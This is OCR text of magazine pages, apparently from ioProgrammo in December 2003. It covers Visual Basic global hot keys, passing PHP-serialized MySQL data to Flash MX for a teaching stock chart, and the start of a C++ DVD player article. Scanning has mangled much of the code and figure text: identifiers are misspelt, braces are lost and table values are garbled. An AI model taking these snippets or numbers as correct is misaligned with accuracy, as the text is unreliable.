hot key ci sono dei messaggi gestiti attraverso la fun- 
zione SendMessage. Essa ha la seguente sintassi. 

Public Declare Function SendMessage Lib "user32" Alias 
"SendMessageA" (ByVal hWnd As Long, 
ByVal wMsg As Long, ByVal wParam As Long, 
IParam As Long) As Long 

SendMessage invia un messaggio ad una window o 
ad un insieme di più window ed attende che venga 
elaborato. I parametri della funzione sono i seguen- 
ti: hWnd cioè l'identificatore della finestra di desti- 
nazione; wMsg cioè il messaggio da spedire; 
Wparam e Lparam cioè il primo e il secondo para- 
metro del messaggio. Quando si deve associare una 
hot key globale ad una finestra, identificata attraver- 
so hWnd, bisogna inviare un messaggio con wMsg 
impostato su WM_SETHOTKEYe specificare la com- 
binazione di tasti attraverso il parametro Wparam. 
La hot key globale, cosi definita, resta valida fino a 




Uisual Basic 



t^^B 

SUBCLASSING 

La tecnica di Callback è 
basata sull'utilizzo di 
una funzione che come 
parametro può 
accettare un puntatore 
a funzione. Questo 
parametro consente il 
passaggio di una 
funzione da utilizzare 
per elaborare i dati 
prodotti dalla funzione 
chiamante. 
La tecnica di 
Subclassing usa gli 
stessi principi della 
tecnica di Callback e 
serve per creare degli 
strumenti che 
permettono di 
intercettare gli eventi 
di Windows inviati ad 
una form o ad un 
controllo. 

Questi argomenti sono 
stati descritti in 
precedenti articoli. 




CORSI AVANZATI T 



I 



Visual Basic 






GLOSSARIO 



WSH 

WSH - Windows Script 
Host - è presente in 
Windows 98 con la ver- 
sione 1.0, in Windows 
2000 con la versione 
2.0 e in Windows XP 
con la versione 5.6. 



quando l'applicazione che l'ha generata è in esecu- 
zione. Ora resta da capire come associare la selezio- 
ne della hot key ad un'azione eseguita sulla finestra. 
A tal fine dobbiamo usare la funzione DefWindow- 
Proc che ha la seguente sintassi. 

Public Declare Function DefWindowProc Lib "user32" _ 

Alias "DefWindowProcA" (ByVal hWnd As Long, 

ByVal wMsg As Long, ByVal wParam As Long, _ 
ByVal IParam As Long) As Long 

• hWnd è l'handle alla finestra che riceverà il mes- 
saggio. 

• uMsg è l'identificatore del tipo di messaggio. 

I valori di wParam e LParam dipendono dal messag- 
gio. Questa funzione serve per associare dei messag- 
gi, alla finestra hWnd, che verranno attivati quando 
si clicca la hot key. Questi messaggi possono essere i 
seguenti: WM_SHOWWINDOW e WM_ACTIVATE. Il 
primo messaggio serve a massimizzare la finestra 
quando è minimizzata, il secondo invece serve a 
portare la finestra in primo piano. Naturalmente la 
finestra riceve i messaggi anche se non è attiva. 
In particolare, quando l'utente preme la hot key, il 
sistema genera un messaggio WM_SYSCOMMAND 
che porta con se valore della hot key e l'handle 
della finestra associata, questo viene passato alla 
DefWindowProc che lo interpreta e lo esegue. I mes- 
saggi per i Thread hot key li descriveremo nel suc- 
cessivo appuntamento. 



ATTIVARE 
UNA FINESTRA 
CON UNA HOT KEY 

Ora vediamo un esempio in cui ad una finestra ven- 
gono associate, a turno, due hot key globali, una che 
permette di massimizzare la finestra quando è "iro- 
nizzata" (quindi attiva il messaggio WM_SHOW- 
WINDOW) e l'altra che permette di portare la fine- 
stra in primo piano quando è nascosta (attiva il mes- 
saggio WM_ACTrVATE) . Innanzitutto in un modulo 
di supporto inseriamo le seguenti costanti e le di- 
chiarazioni delle due funzioni descritte in preceden- 
za cioè DefWindowProc e SendMessage. 



Public 


Const WM_ 


^SETHOTKEY 


= &H32 


Public 


Const WM_ 


_ACTIVATE = 


&H6 




Public 


Const WM_ 


_SHOWWINDOW = 


&H18 



Inoltre definiamo le combinazioni di tasti (Modifier 
+ Key) che utilizzeremo come hot key. 



'usata per portare la finestra al Top Level. 

Mentre, nella Form_Load del form usato per il pre- 
cedente esempio, possiamo minimizza il form e pre- 
vedere un MsgBox che informa sulle hot key. 

Private Sub Form_Load() 
MsgBox "con ctrl+shift+A viene mostrato il _ 
form con ctrl+alt+A si porta in primo piano" 
Me.WindowState = vbMinìmized 

End Sub 

La parte di codice che gestisce le hot key l'inseriamo 
nella Form_Resize, dato che la loro definizione 
dipende dallo stato del form. 



Private Sub Form_Resize() 


"Corni e Com2 sono definite fuori della Sub 


If Me.WindowState = vbMinimized Then 


Comi = SendMessage(Me.hWnd, WM_SETHOTKEY, 

HK_CtrlShiftA, 


0) 


Com2 = DefWindowProc(Me.hWnd, 

WM^SHOWWINDOW, 0, 


0) 


End If 


If Me.WindowState = vbNormal Then 


Comi = SendMessage(Me.hWnd, WM_SETHOTKEY, 

HK_CtrlAltA, 


0) 


Com2 = DefWindowProc(Me.hWnd, WM_ACTIVATE, 0, 


0) 


End If 


If Comi <> 1 Then 


MsgBox "Non è possibile definire la Hotkey", vbOKOnly, 


"Error" 


End If 


End Sub 




Le hot key sono definite in base al valore della pro- 
prietà WindowState che come è noto permette di 
stabilire la stato del form. Notate che se Window- 
State = vbMinimized la hot key sarà HK_CtrlShiftA e 
il messaggio per la finestra, quando l'utente selezio- 
na la hot key, sarà WM_SHOWWINDOW. Vi consi- 
gliamo di stare attenti alle API perché molto spesso 
bloccano l'ambiente di programmazione, soprattut- 
to in fase di debugging, per questo conviene salvare 
spesso il progetto ed non usare il Debug quando si 
eseguono funzioni di Callback. Dopo aver saggiato 
le hot key iniziamo a descrivere gli elementi che uti- 
lizzeremo per implementare l'acceleratore di tastie- 
ra. Incominciamo dalla libreria COMCTL32 che 
come accennato contiene controllo HotKey. 



COMCTL32 E IL 
CONTROLLO HOTKEY 

La libreria comctl32.dll, che fa parte dell'SDK - 
Microsoft Windows Software Development Kit - 
contiene vari Common Control. Essi sono simili a 



Visual Basic 



T CORSI AVANZATI 



delle finestre Child che, quando si verificano degli 
eventi, possono notificare messaggi alle finestre 
Parent. Dato che sono finestre, essi possono essere 
manipolati attraverso le funzioni del window mana- 
gement. Ogni Common Control supporta un insie- 
me di messaggi che, appunto, un'applicazione può 
utilizzare per gestirli. Naturalmente, questo può 
essere fatto solo attraverso alcune funzioni dell'API 
come la SendMesssage o la PostMessage. Oltre 
all'Hotkey control attraverso la libreria Comctl32 è 
possibile creare, senza l'ausilio di Activex, controlli 
come: TreeView, ListView, Progress Bar ecc. Per crea- 
re questi controlli bisogna impostare opportuna- 
mente la funzione, (appartenente all'API) Create- 
WindowEx; per esempio nel nostro caso tra i para- 
metri bisogna specificare la window class Hotkey_ 
Class. Anche la CreateWindowEx verrà descritta nel 
successivo appuntamento. Nel frattempo potete 
farvi un'idea del controllo HotKey verificando il fun- 
zionamento dei collegamenti (Link), che i sistemi 
operativi Windows permettono di impostare, verso 
file o cartelle. 



HOTKEY 

E COLLEGAMENTI 

In Figura 2 è mostrata la maschera di un collega- 
mento. In essa, oltre ai vari campi che permettono 
d'impostare come e quale file aprire, c'è il campo 
Tasti di scelta rapida cioè un HotKey Control. Esso, di 
default, è impostato su "nessuno". Se con il mouse si 
seleziona il campo e poi si preme qualche tasto della 
tastiera, esso automaticamente, oltre al tasto pre- 
muto, aggiunge un modificatore. Per esempio se 
premete il tasto X nel campo comparirà CTRL+ 
ALT+X. La Figura 2 mostra un collegamento che per- 
mette di attivare la calcolatrice (Calc.EXE). Con esso, 
Calc.EXE potrà essere attivato semplicemente clic- 
cando CTRL+SHIFT+C. Notate che il titolo della 



Generale Collegamento | Compatibilità | 
WSH-CreatedShortcut 



JLlJSli 



Tipo: Applicazione 

Percorso: SYSTEM32 

Destinazione: [CAWINDOWS\SYSTEM32\CALC.EXE 

Da: "C:\Documerfc: snc '; -:':;ings\Litente \Deskto 



rapida: 

Esegui 



1 CTRL + MAH. J5C i-C 



Finestra normale 



3 



Commento: Esempio HotKe^ 

Trova destinazione... Cambia icona... Avanzate... 



Applica 



finestra è "WSH-Created Shortcut", dato che il colle- 
gamento è stato creato attraverso lo Script di Win- 
dows XP {Windows Script Host - WSH) che utilizza 
script Java e VB. Esso, naturalmente, gestisce un 
modello ad oggetti, noi nell'esempio abbiamo usato 
l'oggetto objShellLink che ha la proprietà HotKey. 
Per ovvi motivi non riportiamo il codice dell'esem- 
pio ma vi assicuriamo che nei successivi appunta- 
menti avremo modo di addentrarci in questo inte- 
ressante ambiente. In conclusione, presentiamo 
l'applicazione acceleratore di tastiera che descrive- 
remo nel successivo appuntamento. 






* FrmHotkeys | 










Fleg UnReg Cerca Applicazione 












CTRL + ALT + F3 




C:\Prograrnrni\Microsoft Visual StudioWB98WB6.EXE 




...| HotKey Applicazione 




Ctrl+Alt + FI C: \WI N D WS \N T E PAD . EXE 
Ctrl+Alt + F3 C: \Programmi\M icrosoft Visual S tudioW. . . 



Fig. 2: La finestra collegamento con un HotKey 
Control 



Fig. 3: Il Form principale dell'acceleratore di tastiera. 

ACCELERATORE 
DI TASTIERA 

Come accennato, l'acceleratore di tastiera consen- 
te di avviare rapidamente le applicazioni presenti 
sul computer e consente d'impostare e controllare 
dei Thread hot key. Il form principale dell'applica- 
zione è mostrato in Fig. 3. Esso presenta un HotKey 
control, un ListView, e tre pulsanti che permettono 
rispettivamente di creare o cancellare una hot key e 
di cercare un'applicazione sul computer. Sulla 
ListView sono riportate tutte le hot key registrate 
(abilitate e non) . 



CONCLUSIONI 

In questo appuntamento, oltre a presentare le hot 
key globali, abbiamo introdotto diversi argomenti 
da approfondire, per esempio il WSH, la creazione di 
controlli senza l'ausilio di Activex ecc. Nel successi- 
vo appuntamento completeremo il discorso sulle 
hot key e parallelamente presenteremo altri concet- 
ti su WSH e controlli. Se lo spazio a disposizione lo 
consentirà, inoltre, descriveremo altri trick come: 
mostrare l'icona dell'applicazione nell'area di notifi- 
ca della barra delle applicazioni di Windows e disat- 
tivare la combinazione Ctrl+Alt+Canc. 
Seguiteci . . . 

Massimo Autiero 



ADVANCED EDITION T 



Interazione tra linguaggi 



Dialogo tra tecnologie diverse 



Flash MX e PHP 

Scopriamo le alternative a Flash Remoting per far comunicare Flash 
MX con prodotti open source come php e MySQL: una unione 
esplosiva per le nostre applicazioni Web 




r \ 

[JCDQ WEB 

Esempio_Flash.zip 



■^ ' 




Per prelevare contenu- 
ti da un sito remoto 
basta utilizzare la fun- 
zione fopen, passando 
un uri anziché un 
nome di file. Se il con- 
tenuto scaricato è 
delimitato da un sepa- 
ratore php offre la 
funzione fgetcsv che 
ne permette un parse 
con poco sforzo. 



I metodi per far comunicare Flash MX con 
prodotti open source come PHP e MySQL 
sono molteplici, alcuni molto conosciuti e 
ben documentati, altri sono forse migliori ma 
ancora non del tutto documentati e testati. 
Gli oggetti di Flash Mx che permettono di 
interagire con un server sono l'oggetto 
LoadVars e l'oggetto XML. Vedremo come 
usarli e come possiamo trasmettere oggetti 
php direttamente a Flash senza componenti 
Remoting. Faremo sì che il nostro movie d'e- 
sempio sia in grado di scaricare, da un provi- 
der scritto in php, un recordset complesso che 
rappresenti una serie dati relativa alla quota- 
zione di un titolo. Prossimamente vedremo 
come trasmettere pacchetti amf che ci per- 
metteranno di usare Flash Remoting anche 
con php grazie al pacchetto open source 
AMFPHP. 



COME FLASH MX 
DIALOGA CON 
UHI SERVER 

Ricordiamo gli oggetti principali che mette a 
disposizione Flash MX per dialogare con un 
server: 

Loadvars: oggetto che permette di carica- 
re/scaricare (anche in POST) un documento 
remoto dinamico (es php, asp, jsp) che resti- 
tuisce la risposta sotto forma di stringa chia- 
ve/valore. 

È possibile usare l'oggetto LoadVars anche 
per ottenere informazioni sugli errori e sulle 
azioni in corso, e per scaricare dati in strea- 
ming. All'oggetto LoadVars si applicano le 
stesse restrizioni di sicurezza valide per l'og- 
getto XML. L'oggetto LoadVars è supportato 
dal Flash Player 6 e versioni successive. Tra i 
vantaggi possiamo sicuramente indicare la 



semplicità di questa soluzione, mentre come 
contropartita abbiamo una maggiore diffi- 
coltà nel gestire dati strutturati. Tutto somma- 
to, possiamo dire che questa soluzione può 
andare bene con strutture dati semplici. 

// esempio download dati con LoadVars 

server_conn = new LoadVars(); 

// Metodo chiamato da Flash Player quando i dati 

vengono ricevuti 
server_conn.onLoad = function () 

{ 

for (var i in this) 

A 

// codice che legge l'oggetto this che contiene la 

coppia 

// chiave - valore di ogni variabile ricevuta dal server 

}} 

server_conn.load (uri); 

Oggetto XML: oggetto che scarica (o spedisce) 
un documento remoto valorizzando un ogget- 
to xml Flash con i relativi nodi. Un sistema, 
questo, che garantisce ordine e precisione 
nella definizione dei documenti, oltre alla 
possibilità di manipolare strutture dati com- 
plesse. 

Svantaggi: laborioso da parte nostra nel repe- 
rire i nodi. In teoria non si dovrebbero scari- 
care più di 64kb anche se funziona con diver- 
si mega. Presenta qualche problema di trop- 
po: ad esempio, non si possono mettere gli a 
capo negli attributi. 

<titolo> 

<prezzo>valore</prezzoxvolume>testo...</ volume > 

</titolo> 

doc_xml = new XML (); 

// i nodi di testo che contengono solo spazi bianchi 

vengono eliminati 
doc_xml.ignoreWhite= true; 
doc_xml.onLoad = function (success) 
{ 



► 112/ Dicembre 2003 



http://www.ioprogrammo.it 



Interazione tra linguaggi ■ T ADVANCED EDITION 



if (success) 


{ 




// codice che 


tramite metod 
(firstChild... 


DOM 

:hildNodes) permette 


di 




// accedere ai 


dati ricevuti da 


server 






} 


} 


d 


oc_xml.load (u 


■I_xml); 









Vi sono anche altri sistemi tipo l'azione load- 
Variables e l'oggetto XMLSocket ma non sem- 
pre risultano utilizzabili. Il fattore comune di 
tutti questi sistemi è una discreta laboriosità 
per noi programmatori dovuta al fatto che 
dobbiamo codificare a "mano" i nostri dati 
xml o delimitati da caratteri speciali che 
siano. Se ne va tempo di sviluppo e molto 
tempo per il debugging. E tutto ciò per scam- 
biarsi dei dati che molto spesso sono in un 
formato nativo simile fra i vari ambienti, (ser- 
ver-actionscript). Ma allora, come possiamo 
utilizzare questi oggetti per leggere un ogget- 
to php eliminando qualche passaggio e farlo 
in modo automatico? Vediamo prima come 
creare un oggetto php. 



CREARE OGGETTI PHP 

Inizialmente, PHP non era un linguaggio 
Object Oriented, man mano che si è evoluto 
sono state aggiunte delle funzionalità specifi- 
che. Nonostante questo, molti continuano a 
non considerare PHP un linguaggio orientato 
agli oggetti. Per farci un'idea, diamo un'oc- 
chiata a come si definisce una classe in PHP: 

class NomeClasse 

j 

var $propl, $propN; 

// costruttore 

function NomeClasse ($param) 

_J 

...codice 

_} 

function metodo ($params) 

_i 

...codice} 

} 

// per usare la classe basta istanziarla come qui sotto: 
$istanza = new NomeClasse ("param"); 

Senza scendere nei dettagli di definizione di 
sottoclassi, overload di metodi, etc, chiedia- 
moci come è possibile rappresentare i nostri 
oggetti in modo diverso e di "congelarli" 
momentaneamente per salvarli e ripristinarli 
in un secondo momento oppure trasmetterli a 



Flash. Nel nostro esempio dovremo congelare 
un oggetto recordset MySQL. 



SALVARE 

UHI OGGETTO PHP: 

SERIALIZZAZIONE 

Serializzare una variabile significa convertirla 
in una sequenza lineare di byte, ovvero una 
stringa di caratteri ASCII in grado di rappre- 
sentarne struttura, metodi e proprietà. 
Questo è utile per la "persistenza" dei dati. 
Per esempio le sessioni PHP possono salvare 
automaticamente e ricodificare gli oggetti sal- 
vati. Per farlo, PHP ci mette a disposizione 
due funzioni: serializeO e unserialize( ). Si 
usano in questo modo: 

$encoded = serialize(something); 
$something = unserialize(encoded); 

La funzione serialize (valore) restituisce una 
stringa contenente un flusso di byte rappre- 
sentante l'oggetto passato. La stringa potrà 
poi essere archiviata ovunque. Questo può 
essere utile per salvare o passare valori senza 
perdere il tipo e la struttura, si potrebbe anche 
salvare una classe in un database. 
Per ri-ottenere il valore originale dalla stringa 
serializzata, basta utilizzare la funzione 
unserialize(oggetto_serializzato). 
La funzione serializeO gestisce tutti i tipi di 
variabili tranne il tipo resource. Possono esse- 
re elaborati da serializeO array che contenga- 
no riferimenti a se stessi. 
Saranno archiviati anche i riferimenti interni 
agli array e ai tipi object passati. Proviamo a 
usare la funzione serialize sull'esempio di 
oggetto creato precedentemente: 



echo serialize($istanza); 


Otteniamo questa stringa: 


O:10: "nomeclasse" : 2 : {s : 5 : 


'propl' 


;N 


s 


5: 


"propN' 


;N 


} 



La stringa è la rappresentazione dell'oggetto. 
Proviamo un altro esempio, serializzando un 
array: 

$vettore= array(); 

$vettore[0] = "la"; 

$vettore[l] = "divina"; 
$vettore[2] = "commedia"; 

Il comando echo serialize ($vettore) produce: 





GLOSSARIO 



VAR EXPORTO 

Un'alternativa alla 
funzione serialize di 
php è la funzione 
var export() che visua- 
lizza o restituisce una 
variabile in formato 
stringa restituendo 
informazioni struttu- 
rate sulla variabile che 
viene passata. 
Il comportamento è 
simile a var dump() 
con la sola differenza 
che il valore restituito 
è codice PHP. 



http://www.ioprogrammo.it 



Dicembre 2003/113 ► 



ADVANCED EDITION T 



Interazione tra linguaggi 





GLOSSARIO 



WDDX 

Un altro modo per 

codificare dati 

complessi di qualsiasi 

tipo è WDDX (Web 

Distribuited Data 

Exchange - 

http://www.openwddx,orq 

Tramite questa 

specifica è possibile 

codificare dati 

complessi e variegati, 

come array e oggetti, 

in formato XML. 



a :3 : {i :0;s: 2 :"la";i:l;s: 6: "divina" ;i :2;s:8: "commedia";} 

Cerchiamo di capire "l'alfabeto" di questo 
sistema di trasformazione: a:3 ci dice che 
abbiamo un array lungo 3 elementi; i rappre- 
senta l'indice che ci permette di scorre l'array, 
quando i vale (Indicato nella stringa con i:0) 
abbiamo una stringa lunga due caratteri {s:2) , 
il cui contenuto è "la". Il resto del vettore è 
rappresentato con la stessa logica. 
Molto interessante. Possiamo rappresentare 
quasi qualsiasi oggetto in stringa e flash nix è 
in grado di leggere le stringhe passate in 
stream da un server. Siamo riusciti ad elimi- 
nare un passaggio, quello della costruzione 
dell'xml o di una stringa formattata, visto che 
PHP lo fa per noi tramite la funzione serialize. 
Tutto ciò senza che si verifichi alcuna perdita 
di informazioni. Noi proveremo a serializzare 
un oggetto recordset mysql che ci verrà ritor- 
nato da un metodo della nostra classe php. 
L'esempio che svilupperemo, opportunamen- 
te adattato ci permetterà di interagire quasi 
con ogni altro tipo di recordset. 
Adesso abbiamo tutte le informazioni tecni- 
che necessarie per costruirci l'esempio, un 
movie in grado di leggere dal server una serie 
di dati di un titolodo borsa, per poi disegnar- 
ne il grafico dell'andamento e di impostare 
un trading system. Non ci resta che scrivere 
un decodificatore actionscript di oggetti php. 



CLIENT 



BROWSER 



MOVIE FLASH 



SERVER 



Database 

(Mysql) 



PHP 



SERIALIZER 



SPIDER 



RETE 



Intranet 



Web 
Services 



Socket 



Fig. 1: Schema applicazione. 



COSTRUIAMO 
GLI ATTORI 

Il nostro esempio è costruito su queste tecnolo- 
gie: PHP come application server, MySQL come 
database, Flash MX come client di presentazione 
dati. Le entità che compongono l'esempio sono 



illustrate in Fig. 1 . 

SpiderFeed - Il nostro SpiderFeed è uno spi- 
der alimentatore che si occupa di andare sul 
Web a raccogliere informazioni per la nostra 
applicazione. Lo spider è costruito come uno 
script in PHP (volendo si può lanciare diretta- 
mente da shell) che si occupa di scaricare dati 
(non solo prezzi, ma anche volumi, età.) da 
un sito remoto e di alimentare il database con 
la serie storica ottenuta. 

class SpiderFeed { 
var $url, $csv_separator; 
function SpiderFeed ($url, $csv_separator) { 
$this->url= $url; 

$this->csv_separator= $csv_separator; 
$this->DBConnection= new DBConnection; } 
function fetori ($params, $symbol) { 
// codice } 

_} 

// istanzìamo l'alimentatore specificando alimentatore 

e delimitatore di campo 
$feeder= new SpiderFeed ("URL", ","); 
$feeder->fetch ("documento_dati", "codice_titolo"); 

Una volta istanziato l'oggetto utilizziamo il 
metodo fetch che scarica i dati dalla rete e ali- 
menta il db MySQL. 

Database - Il database usato è mysql e noi 
utilizzeremo solo una tabella con i campi 
Data, simbolo del titolo, prezzo di apertura, 
prezzo massimo, prezzo minimo, prezzo di 
chiusura, volume di titoli scambiati, e prezzo 
di chiusura "aggiustato" in caso di split sul 
titolo. Allegato alla rivista è incluso uno script 
sql che, oltre a creare il database e la struttu- 
ra della tabella, prowederà ad inserire delle 
serie storiche. Per importare lo script basta 
usare bin\mysql oppure phpmyadmin il 
comodo tool di amministrazione scaricabile 
da sourceforge.net. 

L'oggetto PHP che permette di interagire con 
il database è costituito dalla classe 
DBConnection. Essa ci mette a disposizione il 
metodo execute (usato dallo spider per gli 
inserimenti), e il metodo getData usato dal 
Serializer e che restituisce un recordset in cui 
la proprietà di ogni record è il nome del 
campo selezionato su db costruito in questo 
modo: 

function getData ($query) { 
$resultset=$this->getResult ($query); 
$recordset=Array(); 
while ($row = mysql_fetch_assoc($resultset)) { 



► 114/Dicembre 2003 



http://www.ioprogrammo.it 



Interazione tra linguaggi ■ T ADVANCED EDITION 



array_push ($recordset, $row ); } 
mysqLfree_result($resultset); 
return $recordset; } 

Serializer - Questo componente php si occu- 
pa di servire uno stream serializzato: vi è defi- 
nita la classe Stocks che contiene tutti i meto- 
di che interagendo con il db tramite un'in- 
stanza di DBConnection e fornisce a flash le 
serie storiche, vediamo come: 

class Stock { 

// costruttore creazione instanza DBConnection per 

interagire con il db 

function Stock () { 

$this->DBConnection= new DBConnection; } 
// metodo che interroga il db chiedendo i simboli 

disponibili 
function getSymboIs () { 
$symbols= $this->DBConnection->getData ("select 
distinct Symbol from tbl_stocks "); 
return utf8_encode(urlencode(serialize ($symbols))); 

} 

//... altri metodi } 

Il metoto getSymbol esegue una query su 
MySQL e ottiene in risposta un recorset. Il 
recordset è costituito da un vettore di strin- 
ghe rappresentanti i simboli dei titoli presen- 
ti nel database. Il metodo ritorna il vettore 
codificato tramite la funzione serialize. 
La stringa ottenuta viene codificata in forma- 
to url-encoded (quello che prevede il %20 al 
posto degli spazi per intenderci) e viene poi 
protetta tramite la funzione utf8_encode che 
ci mette al riparo da problemi originati da 
caratteri speciali. Questa funzione infatti 
converte la stringa in formato UTF-8 che è il 
meccanismo standard utilizzato da Unicode 
per la codifica di caratteri particolari. La 
stringa così ottenuta viene spedita sullo 
stream http verso il client flash. Lo stream 
viene servito tramite una semplice istruzione 
di output: 

echo "data=".$s->getSymbols(); 

Decoder - Scritto in actionscript, aggiunge la 
capacità ad ogni oggetto Flash di poter deco- 
dificare un oggetto php. 

// aggiungiamo la capacità di decodifica ad ogni Object 
Object. prototype.decode_php = function ($fields) { 

// istruzioni di decodifica 

// ©return oggetto rappresentante il recordset richiesto 
} 

Per scaricare lo stream serializzato dal server, 



dichiariamo un oggetto LoadVars e definiamo 
la callback: 

lv = new LoadVars (); 

// definiamo callback impostando i parametri che ci 

interessano 
Iv.onLoad = function () { 
var flash_object= new Object(unescape(this.data)) 

.decode_php(["AdjClose", "volume"]);}; 
// lanciamo la richiesta a php/mysql 
Iv.load (uri + "Serializer.php?symb=codice_simbolo"); 

Nella porzione di codice actionscript, sopra 
riportato, la variabile flash_object sarà valo- 
rizzata con un vettore associativo lungo n ele- 
menti con ogni elemento costituito da due 
proprietà: prezzo di chiusura e volume. La 
stringa serializzata da php è costituita da 
this.data ed è esattamente la variabile servita 
dal Serializer. Effettuando un cast verso 
Object possiamo applicare il metodo deco- 
de_php impostando la lista di parametri che 
ci servono. Il decoder è in grado di decodifi- 
care stringhe costruite dalla funzione php 
serialize del tipo: 

a:9:{i:0;a:l:{s:6:"Symbol";s:7:"ABCD.FG";}.... 

Il metodo fornito nell'esempio allegato alla 
rivista è generico per n parametri, per qual- 
siasi tipo di recordset per cui può essere ri- 
utilizzato su qualsiasi altro progetto in cui sia 
utile usarlo. 

Trading System - Nel nostro esempio (pura- 
mente didattico), considereremo due trading 
system calcolando il valore di due indicatori, 
l'RSI e l'OBV. Giusto due cenni: l'RSI è un 
indicatore di ipercomprato / ipervenduto, 
varia fra (solo ribassi, ipervenduto) e 100 
(solo rialzi, ipercomprato). Il segnale di 
acquisto avviene quando esso vale circa 30. 
L'OBV pone in relazione il volume (specchio 
dell'interesse sul titolo) al cambiamento dei 
prezzi, i suoi movimenti in genere anticipano 
i movimenti futuri del prezzo del titolo. 
Calcoleremo gli indici seguendo le loro 
varianti più semplici. Nei sorgenti allegati alla 
rivista sono riportate le formule di calcolo. 

Movie Flash - Questo movie tramite il 
Decoder riesce a interpretare lo stream offer- 
to dal Serializer php. Le prestazioni non sono 
niente male considerato che ad ogni analisi il 
flusso seguito è questo: 

• il movie parte e chiede la lista di titolo 
disponibili per l'analisi 





SUL WEB 



Il web offre diversi 
progetti che si 
occupano di 
serializzare dati 
utilizzando php e flash 
mx, potete trovare 
altri esempi completi 
su 

http://sourceforge.net/ 
projects/serializerclass/ 
con le relative versioni 
per il nuovo flash 
2004. 



http://www.ioprogrammo.it 



Dicembre 2003/115 ► 



ADVANCED EDITION T 



Interazione tra linguaggi 



# 






php interpreta la richiesta, la passa a 
MySQLe ottiene il recorset 
php serializza il recordset e lo manda in 
risposta a Flash 

Flash MX decodifica lo stream serializzato 
e sulla base dei dati raccolti disegna il gra- 
fico della serie storica relativa all'anda- 
mento del titolo e calcola il valori di alcu- 
ni indicatori del nostro trading system. 



125 



Andamento titolo MACR.O 




tempo 



Demis Magoga ( 



MACR.O 



ricevuti 50 record 



Disegna 



Start Monitoring 



OBV (index) 



3.0627 



Fig. 2: Trading system all'opera. 



Il movie è costituito da un oggetto Line Chart, 
un movieclip che fa da semaforo (verde=tito- 
lo interessante, rosso=titolo neutro o non 
interessante) una combo e qualche pulsante. 
Nel primo frame importiamo i file esterni del 
decoder e la classe che calcola gli indici del 
nostro trading system. Dopo aver istanziato 
gli oggetti LoadVars come descritto in prece- 
denza scriviamo il codice per disegnare il Vet- 



ri D i 



■ '?... ■'■ 



.»...«?... ?! 






|1 50 , , 1 200 ,1250, { 



.l 4 P°,.,.i.lffiì.i.i.l 5 P i.i.i.l^ i.,.,.l 6 C 



100 

» 75 
■I 25 



Line Chart: Sample Data 




Category(X)Axis 



l'I | D isegna Start Monitoring 











*i 


lecitemi 








^> 








Marne | Kind | 


■■--: ■■ ,;■ -■ 


IO col Movie Clip 


n 


|0 Flash UI Componente Folder 


— 


gp ComboBox Component 




1 i PushEutton Component 
g 5crollBar Component 


|jf Component Sfcns Folder 
01 Core Asseta - Developer Only Polder 
FCustomkons Folder 


ILJ| semaforo Movie Clip 


' 




ps ra o s < | | 



tore di oggetti decodificati. 

var semaforo= new Color (semaforo_mc. colore); 
semaforo. setRGB (OxffOOOO); // semaforo rosso 
... calcolo degli indici del nostro trading system: 
var t= new TSystem (flash_object); 
if (t.bull) semaforo. setRGB (OxOOffOO); // semaforo verde 
rsi_txt.text=t.out.rsi; 
obv_txt.text=(t.out.vol)?(t.out.obv) :("-"); 
// disegno grafico coefficiente 
chart. removeAII(); 

chart. setChartTitle ("Andamento titolo " + 

titolo_analizzato) 
for (var i = 0; i< flash_object.length; i++) { 
var c=((flash_object[i].AdjClose)-t.min)* (100 / 

(t.max-t.min)) 
chart. addltem({label: "", value: e}); } 

Il risultato del movie è quello presente in 
Fig. 2 



Date 


Ooen 


High 


Lo. 


Close 


Volume 


Close* 


21-OCI-03 


28.88 


2933 


28.36 


29.03 


539,400 


29.03 


20-Oct-03 


28.14 


2906 


28.40 


28.95 


369,100 


28.95 


17-Oct-03 


29.20 


2920 


2B.41 


28.55 


464,600 


28.55 


16-Qct-03 


28.28 


2956 


2S.26 


29.28 


636,200 


29.28 


15-Qct-03 


29.32 


29.57 


2S.46 


28.57 


450,800 


28.57 


14-Qct-03 


29.25 


29.54 


28.55 


29.18 


538,300 


29.18 


13-Qct-03 


27.69 


3000 


27.58 


29.08 


1,340,400 


29.08 


10-Oct-03 


27.86 


28.34 


27.00 


27.49 


384,600 


27.49 


9-Oct-03 


27.69 


28.55 


27.35 


27.90 


752.300 


27.90 


8-Oct-03 


27.88 


27.95 


26.97 


27.22 


657.900 


27.22 


7-Qct-03 


27.13 


27.89 


26.85 


27.75 


513,300 


27.75 


6-Qct-03 


27.00 


27.50 


26.92 


27.17 


481,300 


27.17 


3-Qct-03 


26.00 


27.15 


25.82 


26.95 


1,676,400 


26.95 


2-Qct-03 


25.00 


25.93 


24.81 


25.86 


757,000 


25.86 


1-Qtt-03 


24.69 


25.15 


23.95 


24.96 


975,000 


24.96 


30-380-03 


24.91 


25.24 


24.46 


24.47 


574,500 


24.47 


29- S 9 0-0 3 


25.28 


25.79 


24.77 


25.36 


565,900 


25.36 


26- S 90-0 3 


25.81 


25.35 


24.67 


25.09 


750,200 


25.09 


25- S 9 0-0 3 


27.00 


27.37 


25.82 


25.89 


874,700 


25.89 


24- Se 0-0 3 


28.28 


2330 


26.98 


26.98 


1,071,800 


26.98 


23- Se 0-0 3 


26.58 


23.32 


26.52 


28.28 


1,637,700 


28.28 


:>2-Sen-03 


26.47 


26.91 


26.03 


26.65 


362 400 


26.65 



Fig. 3: La creazione del movie e l'utilizzo del LineChart component. 



Fig. 4: La pagina da cui effettueremo il grab dei dati. 



CONCLUSIONI 

Abbiamo visto come far comunicare Flash 
MX con php e in che modo possiamo scam- 
biarci oggetti strutturati e complessi. 
Questa volta ci siamo scambiati delle infor- 
mazioni relative a dei titoli e le abbiamo uti- 
lizzate per impostare un trading system auto- 
matico. Siamo riusciti ad evitare l'uso di 
nostre stringhe proprietarie oppure di 
costruire e di effettuare il parsing xml dele- 
gando invece il lavoro a delle funzioni php. 
Con un pizzico di programmazione OO 
abbiamo creato uno scheletro logico ed ordi- 
nato che potrebbe essere la base per qualsia- 
si altra applicazione. La prossima volta vedre- 
mo altre interessanti novità di interazione 
flash - server. Arrivederci. 

Demis Magoga 



► 116/ Dicembre 2003 



http://www.ioprogrammo.it 



la gestione multimediale in Windows H ▼ ADVANCED EDITION 



Le interfacce API per un DVD Player 



Un lettore DVD 
realizzato in C++ 

Un breve excursus per scoprire la struttura dei DVD e capire come 
sia semplice realizzare un DVD-player. Un'occasione per migliorare 
ed estendere le nostre applicazioni multimediali. 



Prima di iniziare la realizzazione del nostro 
DVD player dobbiamo aver chiari i concet- 
ti di base, innanzitutto come è strutturato 
